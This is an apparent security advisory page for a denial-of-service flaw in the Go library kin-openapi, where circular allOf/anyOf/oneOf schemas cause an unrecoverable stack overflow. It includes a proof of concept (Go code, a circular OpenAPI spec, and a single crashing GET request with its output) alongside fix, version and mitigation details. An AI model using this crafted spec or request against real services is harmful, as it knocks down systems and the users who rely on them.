CVE-2026-100354 is a high-severity (CVSS 7.5) CWE-674 vulnerability in github.com/getkin/kin-openapi. A fix is available for github.com/getkin/kin-openapi — see the affected versions and patch details below.
kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-100354.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-100354 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/getkin/kin-openapiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular $refs on purpose (to support recursive data structures), and Schema.validate() uses stack-based cycle detection. Validate() therefore accepts a schema whose allOf / anyOf / oneOf chain refers back to itself, returning no error.
The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (runtime: goroutine stack exceeds ... limit / fatal error: stack overflow), which is not a recoverable panic. recover() cannot catch it, so net/http's per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.
Two independent unguarded recursion sites were confirmed:
openapi3/schema.go—visitJSON/visitXOFOperations(reached byVisitJSON, i.e. response validation and direct schema validation).openapi3filter/req_resp_decoder.go—decodeValue(reached first during request parameter decoding). The report also identifies the same gap inurlValuesDecoder.parseValueandbuildResObj/buildFromSchemas.
Details
Root Cause
Schema.validate() has cycle detection (openapi3/schema.go:1396):
func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
if slices.Contains(stack, schema) {
return stack, nil
}
// ...
stack = append(stack, schema)
The runtime visitor has none. visitJSON (line 1951) calls visitXOFOperations (line 2189), which iterates the combinator slice and calls visitJSON again on each sub-schema:
func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
// ...
for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
v := item.Value
// no check for item.Value == schema (or any ancestor)
if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle
The request-decoding path has the same structure in decodeValue (openapi3filter/req_resp_decoder.go:270):
func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
if len(schema.Value.AllOf) > 0 {
for _, sr := range schema.Value.AllOf {
value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check
Proof of Concept
Environment
- kin-openapi v0.144.0 (tag
v0.144.0, commitf0407d5) - Go 1.26.7
Path A: response / direct schema validation (VisitJSON)
A schema whose allOf refers to itself. Validate() is called first to show the schema is accepted, then VisitJSON():
recursiveSchema := &openapi3.Schema{
Type: &openapi3.Types{"object"},
Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular
_ = recursiveSchema.Validate(ctx) // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes
Output:
Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
openapi3/schema.go:2309
... (repeats until stack overflow)
A defer recover() placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.
Path B: HTTP request validation against a loaded spec (realistic delivery)
A legal OAS 3.0 spec with a circular allOf $ref, loaded normally, served behind a standard net/http handler using openapi3filter.ValidateRequest:
openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
/test:
get:
parameters:
- name: data
in: query
schema: { $ref: '#/components/schemas/Recursive' }
responses: { '200': { description: OK } }
components:
schemas:
Recursive:
type: object
allOf:
- $ref: '#/components/schemas/Recursive'
properties:
name: { type: string }
A single GET /test?data=x crashes the whole server process:
Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)
The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard net/http per-connection recover() did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.
Fix verification
Adding stack-based cycle detection to both sites (matching validate()'s pattern) eliminated the crash:
visitJSONguard:VisitJSON()returned normally instead of crashing.decodeValueguard: the sameGET /test?data=xreturned a clean400:
Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.
Impact
An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by net/http's per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.
Attack surface, in order of exposure:
- Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
- Applications serving a fixed, trusted spec that happens to contain a circular
allOf/anyOf/oneOf. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/getkin/kin-openapi | all versions | 0.149.0go get github.com/getkin/kin-openapi@v0.149.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/getkin/kin-openapi to 0.149.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-100354 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Hardened Images | hugo-main-0.168.0-0.1.hum1 | RHSA-2026:82637 |
| Red Hat Hardened Images | grafana13-2-main-13.2.3-0.3.hum1 | RHSA-2026:85266 |
| Red Hat Hardened Images | grafana13-1-main-13.1.8-0.3.hum1 | RHSA-2026:87077 |
Frequently Asked Questions
Is CVE-2026-100354 in your dependencies?
Find it across Go, including transitive dependencies.